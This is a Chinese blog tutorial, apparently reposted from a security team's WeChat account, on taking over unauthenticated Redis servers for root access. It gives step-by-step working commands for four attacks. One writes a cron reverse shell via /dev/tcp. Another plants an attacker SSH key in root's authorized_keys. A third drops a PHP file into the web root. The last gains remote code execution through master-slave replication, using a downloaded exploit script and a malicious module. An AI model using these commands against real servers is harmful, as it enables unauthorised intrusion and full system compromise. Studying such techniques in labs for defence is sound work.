Redis提权的几种模式
简介
Redis因配置不当可造成未授权访问。攻击者无需通过身份认证便可访问到内部数据,造成敏感信息泄露,也可以恶意执行代码提升权限至Root,本文主要介绍一下提权的击中方法以及Redis主从复制。
计划任务提权
配置Redis环境,搭建环境ubuntu16.04
wget http://download.redis.io/releases/redis-4.0.2.tar.gz
tar zxvf redis-4.0.2.tar.gz
cd redis-4.0.2
ls
make
cd redis-4.0.2
vim redis.conf
cd src/
make install
./redis-server ../redis.conf
修改绑定ip为0.0.0.0,否则只能本地访问
保护模式改为no,未授权模式
客户端可连接测试
telnet xxx.xxx.xx.xx 6379
已创建连接,使用管理工具进行提权
利用计划任务反弹shell
set x "n* * * * * bash -i >& /dev/tcp/ip/8888 0>&1n"
config set dir /var/spool/cron/
config set dbfilename root
save
监听主机得到shell
需要注意的是在这里ubuntu是不能以这种方式成功的,我也不清楚有的师傅是怎么成功的,实测只有centos能够成功[苦涩]。
写公钥登录服务器
攻击机:kali 192.168.0.104
Redis主机:ubuntu 192.168.0.105
ssh-keygen -t rsa
初次ssh密钥连接会报错
需要在目标ip输入
ssh localhost
需要注意,在执行的时候报错
这个时候在/etc/ssh/ssh_config
文件下添加
StrictHostKeyChecking no
UserKnownHostsFile /dev/null
root@kali:~/Desktop/redis-4.0.2/src# ./redis-cli -h 192.168.0.105
192.168.0.105:6379> config set dir /root/.ssh/
OK
192.168.0.105:6379> config set dbfilename authorized_keys
OK
192.168.0.105:6379> set x "nnnssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCueN9b1mwowp4cS0m9KGB2ndXDUkOg0KLfoxvytH8lLIdCzbeCx0U/KKPkBkc790sd5B1fhd/JqswmyICzsLi3jrxbazr8SNz8QXBbiSPtjBSoXKjcX/SWfzB02GKz/0Bw/1pGjTiQQjQmwouXQmp9cI5Xvf+8caW7Ew2dYgexSF+9U9BQVXemDLf3t4RJpBCcbVqsszMk+SSrnYXVwhQpbetl3iT3JEclkwGkrWnjXbMqTPpP4XQ+FFNkMjc0tX4S8O3lsPKV28KNzwmR+4tlZLqBAhoUxHtpChBixHMqjhzjlM0A9anE959FpLmngQBQ2FxRkmpE48+mXGduExgP/7Ed9yph+00fWb77b36cNtu3VODimwrAJ8GLFAZJkWlzGkOi5figft6ks44Cea9FF50c3CCM8kNRo9U72Iwd9wLj1CHGIW6hSoC/ACJvD5ARU5ZOZrcJV1Eq7AgRE0vpvGrtkMyIYqgEQ751srNDdr0aqiSi3nzXK/P+cyZ0qQs= root@kalinnn"
OK
192.168.0.105:6379> save
OK
然后登录
ssh -i id_rsa [email protected][1]
登出
其实直接登录也可以,无需密码直接登录
web应用写入webshell
192.168.0.105:6379> config set dir /var/www/html/
OK
192.168.0.105:6379> config set dbfilename shell.php
OK
192.168.0.105:6379> set x "<?php phpinfo();?>"
OK
192.168.0.105:6379> save
OK
此时,在攻击机kali执行的时已写入www目录,此时在目标机器Ubuntu的html已有shell.php
Redis主从复制到RCE
基本上我们常见到的Redis提权基本上可以说是三种,如果主从复制也包括的算是四种,因为可以通过主从复制getshell实现rce。
Redis 使用和配置主从复制非常简单,能使得从 Redis服务器(下文称 slave)能精确得复制主 Redis 服务器(下文称 master)的内容。每次当 slave 和 master 之间的连接断开时, slave 会自动重连到 master 上,并且无论这期间 master 发生了什么, slave 都将尝试让自身成为 master 的精确副本。
这里使用ubuntu作为主服务器又作为从服务器来测试
主服务器监听8888
nc -lvp 8888
从服务器运行客户端执行命令
slaveof xx.xxx.xx.xx 8888
从服务器这个已经与服务器创建连接
每次当 slave 和 master 之间的连接断开时, slave 会自动重连到 master 上,并且无论这期间 master 发生了什么, slave 都将尝试让自身成为 master 的精确副本
这句话的解释就在这里,从服务器虽然已退出,但是主服务器在监听端口时会自动重连。
使用slaveof no one
的命令会切断主从复制。
SLAVEOF命令的作用和功能可参考
https://www.redis.com.cn/commands/slaveof.html
Redis SLAVEOF命令可以将当前服务器转变为指定服务器的从属服务器(slave server)。
<-!来自官方的解释。-!>
主从复制详细介绍可参考官方文档[2]
Redis复制是如何工作的?
简单解释一下就是
下载利用脚本
git clone https://github.com/Ridter/redis-rce
下载恶意so文件
wget https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
编译一下
make
将恶意文件放在利用脚本目录下,使从服务器加载
python redis-rce.py -r xx.xx.xx.7 -L xx.xx.xx.251 -f module.so
小结
OVER
References
[1]
[email protected]: mailto:[email protected][2]
官方文档: https://www.redis.com.cn/topics/replication.html
原文始发于微信公众号(四季安全团队):Redis提权的几种模式
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论